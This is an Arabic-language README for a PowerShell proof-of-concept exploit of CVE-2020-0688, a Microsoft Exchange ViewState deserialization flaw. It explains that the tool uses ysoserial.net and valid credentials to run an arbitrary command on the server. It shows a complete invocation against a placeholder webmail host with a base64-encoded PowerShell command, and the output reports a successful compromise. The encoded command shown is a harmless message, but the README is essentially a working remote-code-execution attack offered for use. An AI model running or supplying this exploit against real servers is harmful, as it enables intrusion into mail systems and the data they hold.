
PoC لأداة Forgot2kEyXCHANGE (CVE-2020-0688) مكتوب بلغة PowerShell
PoC لأداة Forgot2kEyXCHANGE (CVE-2020-0688) مكتوب بلغة PowerShell
يتطلب هذا الـ PoC اسم مستخدم وكلمة مرور صالحين.
يستخدم هذا الـ PoC أداة ysoserial.net لإنشاء ViewState جديد يحتوي على الأمر الذي تحدده في المعامل -Command. إذا لم تكن هذه الأداة مثبتة لديك على نظامك، فقم بتنزيلها من هنا.
PS> . .\PSForgot2kEyXCHANGE.ps1
PS> Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User '[email protected]' -Password 'Summer2020!' -Command 'cmd /c powershell.exe -en dwByAGkAdABlAC0AaABvAHMAdAAgACcASQAnAG0AIABhACAAcwB0AGkAbgBrAHkAIABzAGsAaQBkACAAdwBoAG8AIAByAHUAbgBzACAAcgBhAG4AZABvAG0AIABjAG8AZABlACAAOgApACcA=' -YsoserialPath 'C:\tools\ysoserial.net\ysoserial.exe'
[+] Login successfully!
[+] Generated new ViewState successfully!
[+] Got a 500 response, successfully pwned https://webmail.domain.tld !
لا تتردد في فتح القضايا (Issues)، والمساهمة، وتقديم طلبات السحب (Pull Requests). يمكنك أيضًا مراسلتي على تويتر (@JustinPerdok).